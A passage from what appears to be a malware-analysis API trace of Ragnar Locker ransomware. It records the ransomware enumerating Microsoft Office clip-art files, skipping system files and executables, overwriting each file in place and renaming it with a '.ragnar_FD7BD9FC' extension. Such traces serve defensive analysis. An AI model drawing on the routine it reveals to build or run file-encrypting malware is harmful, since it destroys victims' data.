office\\media\\cagcat10\\j0221903.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.660] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0095.660] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.660] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0222015.WMF" | out: lpString1="J0222015.WMF") returned="J0222015.WMF" [0095.660] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF") returned=".WMF" [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="autorun.inf") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="boot.ini") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="bootfont.bin") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="bootsect.bak") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="bootmgr") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="bootmgr.efi") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="bootmgfw.efi") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="desktop.ini") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="iconcache.db") returned 1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="ntldr") returned -1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="ntuser.dat") returned -1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="ntuser.dat.log") returned -1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="ntuser.ini") returned -1 [0095.660] lstrcmpiW (lpString1="J0222015.WMF", lpString2="thumbs.db") returned -1 [0095.660] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.660] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.660] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.660] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.660] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.660] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.660] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf")) returned 0x20 [0095.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.661] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1930) returned 1 [0095.662] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x781, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.662] GetProcessHeap () returned 0x580000 [0095.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.662] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.663] VirtualAlloc (lpAddress=0x0, dwSize=0x78a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.663] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.663] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.663] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x78a, lpOverlapped=0x0) returned 1 [0095.663] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.663] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.664] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x78a, lpOverlapped=0x0) returned 1 [0095.664] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.664] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.664] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x78a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.664] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.664] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.664] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.664] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.664] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.664] GetProcessHeap () returned 0x580000 [0095.664] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.664] CloseHandle (hObject=0x104) returned 1 [0095.664] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" [0095.664] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.ragnar_FD7BD9FC" [0095.664] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.665] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0095.665] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.665] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0222017.WMF" | out: lpString1="J0222017.WMF") returned="J0222017.WMF" [0095.665] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF") returned=".WMF" [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="autorun.inf") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="boot.ini") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="bootfont.bin") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="bootsect.bak") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="bootmgr") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="bootmgr.efi") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="bootmgfw.efi") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="desktop.ini") returned 1 [0095.665] lstrcmpiW (lpString1="J0222017.WMF", lpString2="iconcache.db") returned 1 [0095.666] lstrcmpiW (lpString1="J0222017.WMF", lpString2="ntldr") returned -1 [0095.666] lstrcmpiW (lpString1="J0222017.WMF", lpString2="ntuser.dat") returned -1 [0095.666] lstrcmpiW (lpString1="J0222017.WMF", lpString2="ntuser.dat.log") returned -1 [0095.666] lstrcmpiW (lpString1="J0222017.WMF", lpString2="ntuser.ini") returned -1 [0095.666] lstrcmpiW (lpString1="J0222017.WMF", lpString2="thumbs.db") returned -1 [0095.666] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.666] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.666] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.666] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.666] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.666] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.666] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf")) returned 0x20 [0095.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.666] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1586) returned 1 [0095.666] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x629, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.666] GetProcessHeap () returned 0x580000 [0095.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.667] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.668] VirtualAlloc (lpAddress=0x0, dwSize=0x632, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.668] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.668] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.668] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x632, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x632, lpOverlapped=0x0) returned 1 [0095.668] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.668] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x632, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.668] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x632, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x632, lpOverlapped=0x0) returned 1 [0095.668] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x632, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.668] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.669] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x632, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.669] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.669] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.669] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.669] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.669] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.669] GetProcessHeap () returned 0x580000 [0095.669] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.669] CloseHandle (hObject=0x104) returned 1 [0095.669] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" [0095.669] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.ragnar_FD7BD9FC" [0095.669] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.670] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0095.670] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.670] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0222019.WMF" | out: lpString1="J0222019.WMF") returned="J0222019.WMF" [0095.670] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF") returned=".WMF" [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="autorun.inf") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="boot.ini") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="bootfont.bin") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="bootsect.bak") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="bootmgr") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="bootmgr.efi") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="bootmgfw.efi") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="desktop.ini") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="iconcache.db") returned 1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="ntldr") returned -1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="ntuser.dat") returned -1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="ntuser.dat.log") returned -1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="ntuser.ini") returned -1 [0095.670] lstrcmpiW (lpString1="J0222019.WMF", lpString2="thumbs.db") returned -1 [0095.670] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.670] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.670] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.671] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.671] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.671] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.671] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf")) returned 0x20 [0095.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.671] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1422) returned 1 [0095.671] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x585, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.671] GetProcessHeap () returned 0x580000 [0095.671] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.671] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.673] VirtualAlloc (lpAddress=0x0, dwSize=0x58e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.673] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.673] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.673] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x58e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x58e, lpOverlapped=0x0) returned 1 [0095.673] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.673] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x58e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.674] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x58e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x58e, lpOverlapped=0x0) returned 1 [0095.674] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x58e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.674] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.674] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x58e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.674] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.674] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.674] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.674] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.674] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.674] GetProcessHeap () returned 0x580000 [0095.674] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.674] CloseHandle (hObject=0x104) returned 1 [0095.674] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" [0095.674] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.ragnar_FD7BD9FC" [0095.674] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.675] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0095.675] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.676] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0222021.WMF" | out: lpString1="J0222021.WMF") returned="J0222021.WMF" [0095.676] PathFindExtensionW 